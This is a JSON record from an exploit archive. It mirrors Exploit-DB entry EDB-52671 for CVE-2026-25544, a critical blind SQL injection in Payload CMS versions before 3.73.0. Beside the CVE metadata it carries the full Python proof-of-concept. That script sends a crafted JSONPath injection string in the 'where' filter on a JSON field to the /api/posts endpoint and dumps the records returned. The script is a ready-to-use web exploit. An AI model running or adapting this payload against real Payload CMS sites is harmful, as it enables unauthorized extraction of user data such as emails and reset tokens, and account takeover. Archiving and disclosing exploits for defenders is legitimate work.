{"exploit":{"id":"EDB-52671","name":"Payload CMS 3.72.0 - Blind SQL Injection (SQLi)","description":"Payload CMS 3.72.0 - Blind SQL Injection (SQLi)","cves":["CVE-2026-25544"],"author":"cardosource","published":"2026-09-01","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52671","path":"exploits/multiple/webapps/52671.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52671.py","vulnerabilities":[{"id":"CVE-2026-25544","state":"PUBLISHED","title":"Payload has an SQL Injection in JSON/RichText Queries on PostgreSQL/SQLite Adapters","titleSource":"CVE Program","description":"Payload is a free and open source headless content management system. Prior to 3.73.0, when querying JSON or richText fields, user input was directly embedded into SQL without escaping, enabling blind SQL injection attacks. An unauthenticated attacker could extract sensitive data (emails, password reset tokens) and achieve full account takeover without password cracking. This vulnerability is fixed in 3.73.0.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-25544","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-25544"},"updatedAt":"2026-02-09T15:27:26.616Z","retrievedAt":"2026-11-25T16:13:46.924Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52671.png?v=2","url":"https://exploitbin.com/exploits/EDB-52671","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52671/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52671/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Payload CMS 3.72.0 - Blind SQL Injection\n# Google Dork: N/A\n# Date: 2026-08-01\n# Exploit Author: cardosource\n# Vendor Homepage: https://payloadcms.com/\n# Software Link: https://github.com/payloadcms/payload\n# Version: < 3.73.0\n# Tested on: Docker - Node.js v24.18.1 (Recommended LTS) + Payload CMS 3.72.0 + PostgreSQL 15\n# CVE: CVE-2026-25544\n#\n# Description:\n# Payload CMS versions prior to 3.73.0 contain a Blind SQL Injection\n# vulnerability when processing `where` filters on JSON or RichText\n# fields using the Drizzle database adapters.\n#\n# This PoC demonstrates SQL injection through attacker-controlled JSON\n# filter input affecting generated JSONPath expressions.\n#\n\n\nimport requests\nimport json\nfrom typing import Dict, Any, Optional\n\n\ndef fetch_posts() -> requests.Response:\n    url: str = \"http://localhost:3000/api/posts\"\n    filter_criteria: Dict[str, Dict[str, str]] = {\n        \"metadata.role\": {\n            \"equals\": 'x\" || @ == @ || @ == \"'\n        }\n    }\n\n    params: Dict[str, Any] = {\n        \"where\": json.dumps(filter_criteria),\n        \"limit\": 100,\n        \"depth\": 0,\n    }\n    return requests.get(url, params=params, timeout=15)\n\ndef display_status(response: requests.Response) -> None:\n    print(\"status:\", response.status_code)\n    print(\"content-type:\", response.headers.get(\"content-type\"))\n    print()\n\ndef display_content(response: requests.Response) -> None:\n    try:\n        data: Dict[str, Any] = response.json()\n        print(\"totalDocs:\", data.get(\"totalDocs\"))\n        print(\"docs:\", len(data.get(\"docs\", [])))\n        print()\n        print(json.dumps(data, indent=2, ensure_ascii=False)[:4000])\n    except Exception as error:\n        print(\"not JSON:\", error)\n        print(response.text[:1000])\n\ndef main() -> None:\n    response: requests.Response = fetch_posts()\n    display_status(response)\n    display_content(response)\n\n\nif __name__ == \"__main__\":\n    main()","sha256":"57375dbb1c23bd2dc5f0330259b7e5da40d1f9b6c361aa260967db56903bfdb5","bytes":1922,"fetchedAt":"2026-11-25T10:17:06.949Z","encoding":"utf-8 (display only; download retains original bytes)"}